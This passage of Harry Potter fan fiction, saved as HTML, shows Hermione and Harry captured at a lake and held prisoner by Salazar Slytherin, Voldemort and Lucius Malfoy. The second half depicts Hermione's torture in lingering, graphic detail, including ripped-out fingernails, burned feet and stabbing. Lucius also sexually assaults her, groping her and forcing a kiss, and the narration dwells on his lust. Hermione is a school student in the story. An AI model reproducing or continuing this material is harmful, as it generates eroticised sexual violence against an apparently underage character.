around?&#8221; She asked with a smile then found her daughter standing there.&nbsp; &#8220;Oh good I didn&#8217;t miss you before you left.&quot;</i></p>\n\n<p><i>&#8220;No mother, I&#8217;m still here.&#8221; She returned the smile.</i></p>\n\n<p><i>Rowena stepped all the way into the room, &#8220;I just wanted to tell you Jasmine to watch out for Salazar, he has been spotted by </i><st1:place><st1:placename><i>Destiny</i></st1:placename><i>\n\n</i><st1:placetype><i>Lake</i></st1:placetype></st1:place><i>.&nbsp; You two will have to take extra caution for he wants revenge on both you and Torrin.&#8221;&nbsp; Rowena paused a moment, &#8220;The council has sent the authorities to </i><st1:place><st1:placename><i>Destiny</i></st1:placename><i>\n\n</i><st1:placetype><i>Lake</i></st1:placetype></st1:place><i> to try and find him before he finds you two.&#8221;</i></p>\n\n<p><i>A sudden nervousness swept over Jasmine and she felt an icy chill run down her spine. &#8220;Of course mother, we&#8217;ll be careful.&#8221; She said with a smile.</i></p>\n\n<p><i>Rowena nodded then turned to Godric &#8220;we have to talk.&#8221; She said as a most serious expression graced her flawless face.</i></p>\n\n<p><i>&#8220;We most certainly do.&#8221; Godric replied with the same expression.</i></p>\n\n<p><i>Jasmine and Torrin started for the door.</i></p>\n\n<p><i>&#8220;You know what Jasmine?&nbsp; I used to think that your mother and my father had something going on awhile back.&#8221;</i></p>\n\n<p><i>&#8220;Well that was probably true,&#8221; She closed the door behind her and she and Torrin continued walking through the palace heading for the entrance. &#8220;It doesn&#8217;t matter anymore though.&nbsp; Let&#8217;s get a move on we have a long way to go.&#8221;&nbsp; </i></p>\n\n<p><i>Torrin nodded, and they were on their way. &#8212;&nbsp; Hermione</i> opened her eyes and rubbed the sleep from them.&nbsp; She noticed the grassy spot next to her empty.&nbsp; They had finally made it back to <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place>, after another four long excruciating days of travel.</p>\n\n<p>&nbsp; Hermione sat up and found that Harry was already up and about. He had just finished washing up by the lake.&nbsp; </p>\n\n<p>Harry saw her get to her feet and head in his direction, and he smiled lightly. &#8220;We should eat something and then use the portkey to take us home.&#8221;<i>&nbsp; </i></p>\n\n<p>&#8220;Well can&#8217;t we just use the portkey now?&nbsp; We can get something to eat back at Hogwarts.&nbsp; It will only take us a few minutes to get back to school.&#8221;&nbsp; Hermione replied as she kneeled down next to the lake splashing her face with the cool water.&nbsp; Harry handed Hermione his small hand towel and she wiped her face dry.&nbsp; </p>\n\n<p>&#8220;Well that&#8217;s a good idea.&#8221; He opened his bag and searched for the object the used as the portkey.&nbsp; &#8220;I know it&#8217;s in here.&#8221; He said shuffling around in his bag</p>\n\n<p>&#8220;Unfortunately for you, you won&#8217;t get a chance to use it.&#8221; A slightly eerie voice echoed through Harry&#8217;s ears, and in no time at all they were surrounded by Death Eaters.&nbsp; Harry felt Hermione step closer to him and grab onto his arm, he instinctively put his arm around her holding her tightly against him as the Death Eaters circled them.&nbsp; </p>\n\n<p>The Death Eaters all wore the same black robes with white porcelain masks upon their faces. They&#8217;re heads were cloaked with thick velour hoods, you couldn&#8217;t tell if one of them had brown hair or blonde hair, if one was a woman or one was a man.&nbsp;&nbsp; Harry could feel Hermione trembling as he held her closer to him as the crowd parted and the only unmasked Death Eater stepped forward.</p>\n\n<p>&#8220;Nice to see you again Potter.&#8221; He said, heavy with sarcasm, &#8220;And your pretty Mudblood girlfriend too.&#8221; He said glaring at Hermione.</p>\n\n<p>Harry instinctively stepped in front of her blocking her from this man&#8217;s insults. Harry wondered how it was possible that Lucius Malfoy had not already been arrested, he was sure his house was littered with dark art material not to mention Harry himself had identified him at the graveyard a couple of years back. <i>Damn Fudge! </i>&nbsp;He thought to himself.&nbsp; </p>\n\n<p>Lucius stepped right up to Harry; they were eye to eye.&nbsp; He smirked evilly then glanced at the young lady who was being shielded by Harry.&nbsp; &#8220;Master will definitely be pleased to see you.&#8221; He then turned his attentions back to Harry.&nbsp; &#8220;Where is the Scepter?&#8221; Lucius asked with a grin.</p>\n\n<p>Harry and Hermione stayed silent, they weren&#8217;t going to say anything. Lucius was growing impatient; when he asked a question it had better be answered right quickly or there would be trouble.&nbsp; He whipped out his wand and pointed it at Harry, &#8220;Now I ask you again, where is the Scepter?&#8221;&nbsp;&nbsp; Harry and Hermione were both silent again. Lucius opened his mouth when his attention was caught by another Death Eater.</p>\n\n<p>&#8220;Sir, the Scepter is here.&#8221; A muffled voice said.</p>\n\n<p>Lucius turned to find a Death Eater lifting a diamond rod with a shiny pearl like opal resting upon the top of the rod from a leather bag.&nbsp; The scepter sparkled in the morning sunlight.&nbsp; Lucius&#8217;s eyes widened with the sight of Merlin&#8217;s diamond Scepter resting in the Death Eaters hand, he needed to feel the jeweled rod with in his hands.&nbsp; &#8220;Bring it here.&#8221; Lucius commanded.</p>\n\n<p>The Death Eater stepped up to Lucius with the scepter in his hand, Lucius quickly grabbed and holding it firmly in his hands. He could feel a great energy surge running through him, and suddenly felt all powerful like no one could stand in his way.</p>\n\n<p>&#8220;Sir?&#8221; The Death Eater spoke carefully, &#8220;we have to take it to the master now.&#8221;</p>\n\n<p>&#8220;I know that fool.&#8221; Lucius snapped.&nbsp; He then looked at both Harry and Hermione giving them an evil grin. &#8220;Bring them with us.&#8221; Lucius replied as he started from Harry and Hermione and with that he apparated out of their sight.&nbsp; </p>\n\n<p>The Death Eaters grabbed Harry and Hermione by the arms and they too were soon apparating with the Death Eaters away from <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place>.</p>\n\n<p>Ginny pulled on Draco&#8217;s arm, &#8220;Look there she is, now to make amends with her.&#8221; She flashed a brilliant smile of pearly white teeth.</p>\n\n<p>&#8220;I don&#8217;t know Ginny.&nbsp; I mean Reynolds hates my guts, she won&#8217;t just let me approach and apologize to her.&#8221; Draco glanced over at Zara who had leaned against the wall trying to situate her books she had stacked up, she opened her Muggle backpack and placed her books inside and zipped it up.&nbsp; She swung the pack over her shoulder.&nbsp; </p>\n\n<p>Zara felt the eyes of someone watching her, and her head snapped up and she glared in the direction of the stalker.&nbsp; &#8220;What are you looking at?&#8221; She spat.</p>\n\n<p>Ginny nudged Draco in the side with her elbow. &#8220;Say something to her.&#8221; She whispered.</p>\n\n<p>Draco nodded,<i> right</i> he thought to herself.&nbsp; He searched his head for something to say. &#8220;Did you know you can see the color of your roots?&#8221;</p>\n\n<p>Zara rolled her eyes and stood up from the wall not even gracing him with an answer and started walking away.</p>\n\n<p>&#8220;Hey!&#8221; Draco shouted. &#8220;I asked you a question it would do you best to answer it!&#8221;&nbsp; He then felt a sharp pain in his side again he glanced down at Ginny&#8217;s angry face.</p>\n\n<p>&#8220;Or you&#8217;ll do what to me?&#8221; Zara asked with a hint of sarcasm, &#8220;I don&#8217;t see your two stupid freaks with you.&#8221;&nbsp; She stepped right up to him and Ginny trying her best to look intimidating.&nbsp; &#8220;There&#8217;s nothing you can do to me by yourself.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t mean for my words to come out like that, I really just wanted to talk to you.&#8221; Draco said.&nbsp; He glanced down at Ginny and then back up at Zara, he didn&#8217;t like the look she was giving him.</p>\n\n<p>&#8220;Well I really don&#8217;t want to talk to you.&nbsp; Not now, not ever.&#8221; Zara turned on her heel and stalked down the corridor.&nbsp; </p>\n\n<p>Ginny looked at Draco with disappointment, &#8220;I thought we agreed you were gonna apologize, not make her even more angry.&#8221;</p>\n\n<p>Draco stared into Ginny&#8217;s eyes with a question burning in his own, &#8220;Why do I even need to ask for her forgiveness, I mean I knew what I was doing.&#8221; He never really had to sugar coat anything for Ginny&#8217;s benefit, she accepted him for who he is and what he had done in the past. Just as long as doesn&#8217;t continue playing with people&#8217;s hearts and minds.</p>\n\n<p>&#8220;That&#8217;s not the issue here; the issue is that I want Ron to accept you as part of my life. And if he sees Zara acting somewhat civil towards you, he might follow that example too.&nbsp; Both of you are a big part of my life and you two should at least be able to get along.&#8221; Ginny said.</p>\n\n<p>Draco nodded and wrapped his arms around her, pulling her to him. &#8220;Well I suppose for you and your precious brother.&#8221; He said with slight sarcasm. &#8220;Oof.&#8221;&nbsp; This earned him a playful punch in the belly from Ginny.&#8221;&nbsp; He smiled, &#8220;You&#8217;ve got quite a good arm there Gin.&nbsp; But for you yes I will try to make an effort to apologize to Reynolds.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221; Ginny said with a dazzling smile, then rising up on her tiptoes she pressed her lips against his.</p>\n\n<p>Harry and Hermione were led into a large room filled with expensive looking furniture.&nbsp; Two large high back iron sculpted chairs with a satin green cushions, wrist and ankle cuffs, were bolted to the floor.&nbsp;&nbsp; The chairs were placed in front of a hard, black throne with a large green satin cushion was adorned with serpents.&nbsp; The large serpents that were etched into the black marble had glittery red rubies for eyes and a sliver of gold for their tongues.&nbsp; </p>\n\n<p>Peter; who was also known as Wormtail, was the only other man besides Lucius in room; the two of them turned upon hearing the Death Eaters with their prisoners enter.&nbsp;&nbsp; &#8220;Master will be pleased that you could join us for tonight.&#8221; Wormtail said with sneer.</p>\n\n<p>Without warning Lucius fist shot up, back handing the small pudgy man in the mouth. &#8220;Only I will speak to the prisoners unless master has said otherwise. Do I make myself clear?&#8221; </p>\n\n<p>Peter cringed and stepped back from an easily enraged Lucius Malfoy, &#8220;Yes sir.&#8221; He quickly left the room, hoping not to rouse the anger of Lucius again. </p>\n\n<p>&nbsp;Lucius turned with a sneer etched on his evil yet handsome face.&nbsp; &#8220;Why don&#8217;t you two have a seat?&#8221; He gestured in a gentlemanly fashion with his hand extended towards the two chairs.</p>\n\n<p>Harry looked at the chair and then at Hermione, who shook her head no.&nbsp; He agreed.&nbsp; &#8220;We&#8217;d rather not.&#8221;</p>\n\n<p>&#8220;I said sit!&#8221; Lucius voice echoed through the room.&nbsp; He noticed the prisoners were stubborn and didn&#8217;t move an inch.&nbsp; This could prove a problem, if they didn&#8217;t cower before him, he wondered if they would cower before the Master.&nbsp; Most certainly they would. Lucius smirked and snapped his fingers the Death Eaters all snapped to attention, their backs straight and their arms firmly slapped against their sides waiting for orders.&nbsp; &#8220;Help our guests to sit.&#8221; Lucius said.</p>\n\n<p>The Death Eaters descended upon Harry and Hermione, though both of them tried their hardest to struggle in the Death Eaters grip, they still felt the many pairs of fingers and hands violently lifting them into the air.&nbsp; The Death Eaters as a whole were much too strong for the struggling prisoners. &nbsp;Both Harry and Hermione were forced down into the chairs; while they were being held down by strong arms they felt the cold iron cuffs close over their wrists and around their ankles, binding them to the chairs.&nbsp; The Death Eaters then stood back to their positions.&nbsp; They seemed to be waiting for something.</p>\n\n<p>&#8220;There now, that is much better.&#8221; Lucius said with an evil smirk. </p>\n\n<p>Within five long excruciating minutes the door opened and two men walked inside.&nbsp; Their heads were covered with thick hoods.&nbsp; When they walked across the room their mere stride intimidated who ever is in their path, they both held themselves in a very domineering fashion as the neared closer towards the throne.&nbsp; Two Death Eaters scurried towards the two men, the bowed before them like worthless slaves and kissed the hems of each of their robes.&nbsp; They stood and helped the two men out of their hooded cloaks.&nbsp; The bowed several more times while backing up heading back to the line with cloaks in hand.</p>\n\n<p>Hermione gasped at the sight that stood before Harry and herself, she cringed and felt her blood run cold at the site of the Dark Lord Voldemort.&nbsp; He looked more human than Harry had described to her in the past.&nbsp;&nbsp; She had only read books about him.&nbsp; This was the first she had ever seen him, and she was sure it probably wouldn&#8217;t be the last.&nbsp; The man next to him looked even more sinister and more evil than she had ever seen.&nbsp; Of course she recognized him from the portrait of the founders hanging in Hogwarts.&nbsp; It was of course Salazar Slytherin himself.</p>\n\n<p>Harry glared at Salazar as he too felt the icy wind of fear grace his body but he would dare not let it show.&nbsp; It was easy to take advantage of the scared and Harry was not going to let on one bit that he too was afraid. He glanced over at Hermione noticing her hands were trembling; his probably were too.</p>\n\n<p>&#8220;I see Mr. Malfoy has made you comfortable.&#8221; Salazar said.&nbsp; His voice making everyone in the room pale and step back, when Salazar spoke his voice held a cold cruel tone.&nbsp; Salazar sat down on his throne, &#8220;I am Salazar Slytherin, and welcome to my home.&#8221; He said with a smirk.&nbsp; &#8220;Now I have always regarded myself a gentleman, and if you two cooperate with me I will see to it that you will leave this place.&#8221;</p>\n\n<p>&#8220;Dead or alive?&#8221; Hermione whispered under her breath.</p>\n\n<p>&#8220;What was that!?&#8221; Salazar jumped from his seat, &#8220;What did you just say girl?&#8221; </p>\n\n<p>Hermione&#8217;s eyes widened.</p>\n\n<p>&#8220;I don&#8217;t think I gave you permission to speak.&#8221; Salazar said stepping towards Hermione.&nbsp; He let his lip curl into a sneer. &#8220;Did I?&#8221;</p>\n\n<p>Hermione&#8217;s eyes were still wide, but she did not say another word and that irritated Salazar.</p>\n\n<p>&#8220;I asked you a question wench now you had better answer it!&#8221; Salazar stepped right up to her, standing at his full height so that he was towering over her</p>\n\n<p>&#8220;Just leave her alone.&#8221; Harry said his teeth were clinched, if it was one thing he couldn&#8217;t take it was someone threatening the people he cared about.&nbsp; All his fear ebbed away; he was in control.</p>\n\n<p>Salazar turned his head glaring at Harry, &#8220;I suggest you keep your mouth shut, unless you want your precious little lady here ground into hamburger and used for food.&#8221;&nbsp;&nbsp; He stepped away from Hermione &#8220;Things are done differently here.&nbsp; You woman, will speak only when spoken too.&nbsp; Is that clear?&#8221; His voice was suddenly calm.&nbsp; It was as if she hadn&#8217;t heard him, as if his words hadn&#8217;t even made an impact in her mind.&nbsp; He didn&#8217;t like that.</p>\n\n<p>Without warning his hand connected with her cheek, her head moved with the force of his blow.&nbsp; A bright red mark was already forming on her cheek, as she felt the hot sting of tears swell up in her eyes. She tried to hold them back, but the shock and pain from his hit made it impossible for her to keep her emotions in check.&nbsp; </p>\n\n<p>&#8220;Now see what you made me do.&#8221; Salazar said, &#8220;It&#8217;s your fault that I hit you.&nbsp; Now be a good girl and obey me and I won&#8217;t hurt you.&#8221;&nbsp; He took a quick glance in Harry&#8217;s direction he saw that Harry had gripped the sides of the arms of the chair so hard that all the blood had flowed from his knuckles.&nbsp; Harry looked like he wanted to kill him and he probably would given the chance.&nbsp; Salazar was looking forward to that.&nbsp; &#8220;Mr. Malfoy, the scepter, give it to me.&#8221;</p>\n\n<p>Lucius hesitated a moment, he looked over to Voldemort and saw his master narrow his eyes and glare at him.&nbsp; That was usually not a good sign.&nbsp; Lucius carried the scepter over to Salazar who ripped it immediately from the servant&#8217;s hand. </p>\n\n<p>Salazar felt a grand energy pass through him as he held the scepter, his face lit up with an unearthly glow as the power continued to pass through him.&nbsp; The scepter was probably testing to see if his soul was weaved into the scepter.&nbsp; The energy stopped and the diamond scepter grew cold, nothing would spark it to life except the one whose soul was intertwined with the Scepter.</p>\n\n<p>Salazar&#8217;s gaze drifted about her face. It was Jasmine again, just as defiant.&nbsp; He noted that she looks almost exactly like her, there was just one difference, her hair color is a tad lighter brown.&nbsp; His gaze then connected with hers, &#8220;you will use the scepter for me.&#8221; He pointed the scepter at her.</p>\n\n<p>She shook her head.</p>\n\n<p>&#8220;Why not?&#8221; Salazar&#8217;s voice held impatience.</p>\n\n<p>&#8220;For one I don&#8217;t know how to use it.&#8221; She started to answer right away, &#8220;and even if I knew, I wouldn&#8217;t help you.&nbsp; You would certainly use it for evil.&#8221;</p>\n\n<p>&#8220;There is no such thing as good and evil, there is only power and weakness.&#8221; He looked about the room at the Death Eaters, &#8220;Do you see these morons, I control them because I have power, and you could have power too.&nbsp; Wouldn&#8217;t you like to have everything at your feet?&#8221;&nbsp; He then turned to Harry since it would be useless to try and convince this girl of greatness, she seemed to have the same determination as Jasmine did.&nbsp; But maybe he could get this boy to convince her, if he used just the right angle.&nbsp; He&#8217;s heard so much about this young fellow from his servant Voldermort. &#8220;What about you, surely you can understand that if you have the power you can control the world.&#8221;</p>\n\n<p>&#8220;The world isn&#8217;t meant to be controlled like that.&#8221; Harry said firmly.</p>\n\n<p>&#8220;You have yet to see. I know you go to that, that school.&#8221; Salazar spat bitterly, &#8220;I could show you things that they won&#8217;t even consider as part of the curriculum. Powerful magic that could turn you into the wizard that you know you want to be. People would fear you and at that point you could have the world in the palm of your hand.&nbsp; When people are afraid they are easy to control.&#8221;</p>\n\n<p>Harry shook his head, &#8220;No thanks, I&#8217;m happy with the way things are.&#8221;</p>\n\n<p>&#8220;You are a foolish boy,&#8221; He snarled. Then turned his attention back to Hermione.&nbsp; &#8220;You will use the scepter for me, whether you want to or not.&nbsp; You don&#8217;t have a choice.&#8221;</p>\n\n<p>&#8220;I will not.&#8221; She said.</p>\n\n<p>&#8220;I will force you.&#8221;</p>\n\n<p>&#8220;There&#8217;s nothing you can do to make me.&#8221; She said in a confident tone and watched as a creepy smirk carved itself into Salazar&#8217;s face.&nbsp; Hermione felt a cold rush of ice travel up her spine.</p>\n\n<p>&nbsp;&#8220;Is that so?&#8221; Salazar leaned in closer to her so that his mouth was mere inches from her ear, &#8220;When I get through with you, you will beg me to kill you.&#8221; He pulled back and Hermione wide eyed tried not to show her fear, which was impossible. Anyone in this position would be afraid.&nbsp; She could feel an abundance amount evil coming from him.&nbsp; Salazar stood up straight, he snapped his fingers and the Death Eaters again snapped to attention.&nbsp; &#8220;Take this boy to cell B.&#8221; Salazar commanded.</p>\n\n<p>At the mention of cell B Voldermort and Lucius faces lifted into cruel, evil smiles.&nbsp; The Death Eaters had freed Harry from the bindings on the chair and were literally dragging him from the room; he did not want to leave Hermione there with Salazar.&nbsp; But the Death Eaters again proved too strong to fight off.&nbsp; The Death Eaters dragged Harry down the hall as he still attempted to dig his feet into the stone flooring to stop himself from moving.&nbsp; They reached an open cell and he was flung in. The large Iron door slammed behind him with an echoing thunder.&nbsp; </p>\n\n<p>Harry noticed that the cell was empty, all except some straw in the floor in a corner and an old torn up ratty rag, which was probably the only source of warmth provided in the ice-cold cell. There was only one small window in the door, Harry stood up to it and glanced out. He wondered what was happening to Hermione being there all by herself. He was hoping that nothing would happen to her, but he knew that hope was squashed.&nbsp; He had read about Salazar Slytherin.&nbsp; And it was not a good thing to cross paths with him.</p>\n\n<p>Salazar paced back and forth in front of Hermione with his hands behind his back; he smacked his back lightly with the scepter as he paced.&nbsp; &#8220;I give you one last chance to agree to help me willingly.&#8221;</p>\n\n<p>&#8220;Master if I may.&#8221; Voldermort spoke up.</p>\n\n<p>Salazar turned partially around facing him &#8220;You may.&#8221;</p>\n\n<p>&#8220;Why would she have to agree to use the scepter, I would just use the imperious on her.&#8221;&nbsp; </p>\n\n<p>&#8220;It&#8217;s true I could do that, but I know for a fact that in her head lies the brain of Jasmine Ravenclaw who was impossible to control under the imperious.&nbsp; Now even though this girl is not entirely Jasmine, she still has enough of Jasmine&#8217;s intelligence, plus her own.&nbsp; It is twice as strong it would cause the imperious to bounce off of her and hit me and I would be under her control.&#8221;&nbsp; Salazar then smirked, &#8220;Of course you know all about those types of things don&#8217;t you?&#8221; Salazar smirked he could hear Voldermort mumbled something under his breath which enraged Salazar.&nbsp; &#8220;What was that?&#8221;</p>\n\n<p>&#8220;Nothing.&#8221; Voldermort said.&nbsp; He secretly wished that he knew how to kill Salazar, why did he bring him back?&nbsp; Oh yes he remembered.&nbsp; Before he could think on it some more he heard the voice of Salazar.</p>\n\n<p>Salazar&#8217;s temper settled, &#8220;Why don&#8217;t you go and see that prisoner of yours and let me deal with mine.&#8221;</p>\n\n<p>Voldermort nodded, he signaled for Lucius to follow him, but Salazar held up his hand in disapproval, &#8220;no leave him here I&#8217;m gonna need him, take that worthless Wormtail with you.&#8221;&nbsp; He saw Voldermort nod and then stalk from the room in an angered fashion.</p>\n\n<p>Salazar turned back to Hermione. &#8220;Now will you use the scepter?&#8221; He asked in a sweet, friendly tone.</p>\n\n<p>Hermione shook her head &#8220;No.&#8221; She said.</p>\n\n<p>&#8220;Very well.&#8221;&nbsp; He leaned his elbow in the back of her chair leaning on to the chair casually. While looking down at her he spoke to Lucius. &#8220;Go and retrieve the devices, not the big ones yet those we will save.&nbsp; You know it&#8217;s like I always say, save the best for last.&#8221;</p>\n\n<p>Lucius smirked and left the room in a flash.</p>\n\n<p>Salazar lifted his hand and ran it through her hair; she turned her head away from his grasp.&nbsp; Salazar chuckled lightly to himself though keeping a serious expression on his face.&nbsp; &#8220;You look just like her you know, well not exactly.&nbsp; Jasmine had darker hair; it looked more like her mother&#8217;s.&nbsp; I bet yours looks like your mother&#8217;s.&nbsp; Lucius told me that you were born of Muggles.&#8221; He shook his head in disgust. &#8220;If I didn&#8217;t need you I would have already killed you regardless of whose soul you have in your body.&#8221;</p>\n\n<p>Hermione lifted her head looking up at him she was about to say something when Lucius returned to the room carrying a box.</p>\n\n<p>Salazar ran his hand through her hair again; she flinched and attempted to move her away.&nbsp; Salazar&#8217;s other hand reached up and slapped her hard in the face.&nbsp; &#8220;Don&#8217;t move away from me wench!&#8221; He demanded.&nbsp; He saw the red mark appearing on her cheek.</p>\n\n<p>Lucius put the box on the floor next to Salazar, &#8220;I think there is something you need to know about me, I enjoy Muggle tortures as opposed to Wizarding tortures.&nbsp; Salazar said as he bent and opened the box, he was searching for something in particular. &#8220;Ah, here we go.&#8221; He pulled a small funny looking object from the box, it had a thin hook with a screw on top. It was held together with a small iron handle.&nbsp; &#8220;Do you know what this is?&#8221; He waved it in front of Hermione&#8217;s face.&nbsp; She squeezed her eyes shut trying not to look at it.</p>\n\n<p>&#8220;No?&#8221; Salazar chuckled, &#8220;I call this The Ripper.&#8221; He watched her for a reaction.&nbsp; &#8220;It&#8217;s used to rip the fingernails from the subject&#8217;s body.&nbsp; It really hurts.&#8221; He smirked.&nbsp; &#8220;So I think we&#8217;ll start with this.&#8221;&nbsp; He looked at Lucius. &#8220;Now I know you will enjoy this my servant, come here and have your fun.&#8221; He held out The Ripper for Lucius who grabbed it with an evil smirk upon his face.</p>\n\n<p>Lucius stepped in front of Hermione and she closed her eyes as she felt the thin hooked blade go underneath her fingernail, her other hand gripped the arm of the chair as the sharp pain ran up through her arm.&nbsp; She bit down on her lip to prevent her from yelling out in pain.&nbsp; Hermione felt a tightening pressure as a little screw pressed down securely on the top of her nail.&nbsp; A few seconds passed and Lucius yanked hard pulling it away from her finger.</p>\n\n<p>This time she could not hold back the loud scream as felt the ripping and heard the sound of her fingernail being torn away from her finger. The flesh that was beneath the fingernail was exposed to the cold air and she felt a monstrous stinging sensation as the area where her fingernail used to be filled with blood and trickled quickly down over her other fingers.</p>\n\n<p>&#8220;This is just the beginning, if you use the scepter for me I won&#8217;t have to do this to you.&#8221; Salazar said from his throne.</p>\n\n<p>Hermione&#8217;s breathing was shallow as she opened her eyes looking up at him. &#8220;I&#8212;will&#8212;not&#8212;help&#8212;you.&#8221;</p>\n\n<p>Salazar nodded and stood.&nbsp; &#8220;I&#8217;ll be back in a few hours to see if our guest has had a change of heart, continue with the torture with what ever you like until I return.&#8221;&nbsp; He waved his hand to continue. </p>\n\n<p>Lucius nodded with a smirk, he looked over and picked out nine other Death Eaters.&nbsp; They approached him with caution.&nbsp; Lucius showed them The Ripper and they each found one inside the box. </p>\n\n<p>Hermione leaned her head back against the chair as she felt nine hooked blades go underneath her remaining fingernails and then the pressure upon the tops of her nails. Again a few seconds passed, Lucius gave a signal and at the same time nine death eaters yanked hard, and she let out an even louder scream as she felt ripping and tearing of her sensitive now tender flesh of her fingers.&nbsp; She felt her blood flowing from her new wounds covering her hands in its heavy thickness.&nbsp; Two Death Eaters then squatted down and removed her shoes and socks from her feet.&nbsp; They all backed away.</p>\n\n<p>Lucius went through the box and found some iron footwear; he opened the iron sandal and squatted down in front of her, &#8220;such pretty feet.&#8221; Lucius said looking up at her with a smirk, &#8220;pity they won&#8217;t stay that way.&#8221; He slipped the iron sandals onto her feet and took out his wand whispering a heating charm.</p>\n\n<p>Hermione felt the shoes begin to heat up, first the heat was bearable only a little uncomfortable.&nbsp; But that quickly changed as the rising temperature of the sandal was rapidly growing.&nbsp; The sandals were turning a bright orange and again she gripped the arms of her chair, her fingers ached and she felt the fiery heat engulf her feet, she squirmed about in the chair but that did little good.&nbsp; She yelled out in the pain as the hot iron surrounding her feet was still growing hotter, if it were even possible? Hermione felt blisters begin to form and swell then burst, wherever the blisters had been the dead skin melted off, she was sure where the barred sandals were; her skin had melted to it.</p>\n\n<p>Lucius kept the shoes on her feet for only three minutes, but to Hermione it felt like an agonizing hour or even longer.&nbsp; He ended the heating charm the iron immediately grew cold, Lucius pulled the sandals off.&nbsp; Sure enough there were lines of bloody flesh where the sandals had been.&nbsp; The blood filled, and then overflowed the deep trenches that the sandals had made, then traveled down her feet, between her toes hitting the floor in small puddles. Lucius then lifted a small container of white salt crystals and a large knife from the box. With the knife he sliced her pant legs starting just above the thigh, creating jean shorts so that he could cut into flesh with the knife.&nbsp; He pulled the loose material off her revealing her long legs to his sight.&nbsp; He stood there staring for a moment.</p>\n\n<p>He placed his hand on her thigh and saw her eyes close even tighter and her whole body began to shake violently.&nbsp; He leaned in closer to her ear, &#8220;There&#8217;s only one thing Mudbloods are good for.&#8221;&nbsp;&nbsp; He whispered.&nbsp; Lucius looked at the spot between her neck and shoulder. He leaned in more and opened his mouth wide, sinking his teeth into her soft flesh, hard.&nbsp; She screamed.&nbsp; That only drove him more, the sounds of her screaming ignited more of his desire and he bit down even harder.&nbsp; He could taste her blood, it was intoxicating and he wanted more.&nbsp; He sucked hard on the new holes he had made in her skin, and when he couldn&#8217;t get very much more.&nbsp; He lifted his face from her neck.</p>\n\n<p>Hermione saw his eyes glazed with lust as he licked his lips to get the remaining sweet nectar that came from her body around his lips.&nbsp; He closed his eyes and moved to the other side of her neck, doing the same thing.&nbsp; Hermione felt his sharp teeth sink into the depths of her flesh; it hurt so bad that she screamed out again. Her screams echoed through the room. And that made him suck on her neck even harder.&nbsp; She couldn&#8217;t even struggle out of his grasp as she was bound to the chair.&nbsp; She tried to move away but his other hand reached up and held it in place as continued to drink his fill of her.&nbsp; She stopped struggling as she felt her body weaken.&nbsp; Hermione felt tired; probably from the loss of her blood.&nbsp; She heard him grunt and groan as he continued.</p>\n\n<p>He pulled back a bit, and caught her gaze, which was very frightened as the tears trickled from her eyes.&nbsp; He enjoyed seeing a woman trembling in fear before him, it gave him a sense of power.&nbsp; He lifted hand and trailed his fingers along her cheek.&nbsp; She flinched, moving from his touch.&nbsp; That enraged him and his hand roughly grabbed the back of her neck and pulled her mouth against his.&nbsp; She stiffened in disgust; her lips pressed tightly together, and her eyes were shut tight. Hermione tried to pull away but it was useless, he had an iron grip on her.&nbsp;&nbsp; </p>\n\n<p>&#8220;Open.&#8221; He murmured against her lips, but she did not obey.&nbsp; He bit down hard into her lower lip.&nbsp; She couldn&#8217;t help it, it hurt and her mouth opened in an agonized gasp.&nbsp; He took advantage as his tongue thrust hard into her mouth, she did not respond to his rough and painful kiss.&nbsp; But he didn&#8217;t care as he nearly forced his tongue down her throat.&nbsp; He brought his hand down from around her neck and covered her breast with his hand; she squirmed trying to move her body away from his hand.&nbsp; She felt his hand move up, only to slide down into the top of her shirt and his hand came in contact with her cotton covered breast, his fingers moved the material out of the way a bit and cupped her bare breast and squeezed hard.&nbsp; She screamed out in pain into his mouth, which made him squeeze her even harder.</p>\n\n<p>She felt his other hand now between her legs, rubbing the material of her jeans against her sex. She felt him quickly with unbutton and unzip her jeans; his hand went inside her pants and was nearing her.&nbsp; <i>Oh God please make him stop.</i> She begged silently.</p>\n\n<p>&nbsp; He was breathing hard and he had barely begun to touch her when the sound of a cough came from behind him. Lucius stood straight and looked behind him; Salazar&#8217;s face was looking at him from a mirror.</p>\n\n<p>&#8220;I really hate to interrupt here but please get back to the torture; I need the scepter&#8217;s powers now.&nbsp; You can have at her later.&#8221; Salazar said with authority.</p>\n\n<p>Lucius held back his glare &#8220;Yes master.&#8221; He said. Then turned his attention back to Hermione.&nbsp; He closed his eyes for a minute settling his nerves. He picked up the knife from off of the table he slowly waved it back and forth in front of her face.&nbsp; He glanced about her neck that was covered in his teeth marks, <i>why do I have to restrain myself now?</i>&nbsp; <i>That damn</i><i> Slytherin!</i> He cursed silently.&nbsp; She looked so tempting sitting there bound to a chair, covered in wounds and her own thick blood.&nbsp; His own wife never looked that tempting.&nbsp; Lucius brought the knife down slowly towards her leg.&nbsp; He would still get pleasure out of this even if he couldn&#8217;t have her, yet.</p>\n\n<p>He held the knife in his hand and kneeled down and laid his palm against her thigh.&nbsp; &#8220;This is really going to hurt.&#8221; He announced looking up into her eyes that were wide with fear. He smirked and brought the knife down into her thigh stabbing her.&nbsp; She let out a blood-curdling scream as the knife was being pushed agonizingly slow into her flesh.&nbsp; Lucius leaned forward and licked the small amount of blood of her thigh that was trickling from her wound.&nbsp; He was sure as soon as he pulled the blade from her leg it would gush out and fast.&nbsp; He was right.&nbsp; Lucius was rewarded with the sight of her dark red, thick blood.</p>\n\n<p>He stood up taller on his knees and covered her wound with his mouth, drinking in the very essence that gives her life.&nbsp; As he continued to drain her of her life&#8217;s fluid he lifted the knife again plunging it into her thigh just below her wound he was sucking from.&nbsp; As he pulled the knife slowly from the new wound he plunged his tongue into her open wound that he was feeding on earning him an agonized hissing moan.&nbsp; He continued plunging the knife into her leg in several different spots on her thigh, earning him a loud echoing scream every time.&nbsp; Lucius moved over to the other leg, continuing to stab her leg and suck her blood from the wounds.</p>\n\n<p>Harry who was sitting on the floor against the wall slammed his palms over his ears, squeezing his eyes tightly shut. Hoping it would drown out the echoing scream he knew that was coming from Hermione, his eyes were red from the tears he couldn&#8217;t stop from flowing.&nbsp; She did not deserve whatever it was they were doing to her.&nbsp; His heart ached, and he felt violently ill.&nbsp; </p>\n\n<p>&nbsp;Voldemort who was leaning against the wall with his arms folded across his chest smirked down at Harry as the echoing scream stopped for the moment and Harry pull his hands away from his ear.&nbsp; &#8220;It&#8217;s a beautiful sound, don&#8217;t you agree?&#8221; Voldemort said with an evil grin, he noticed all 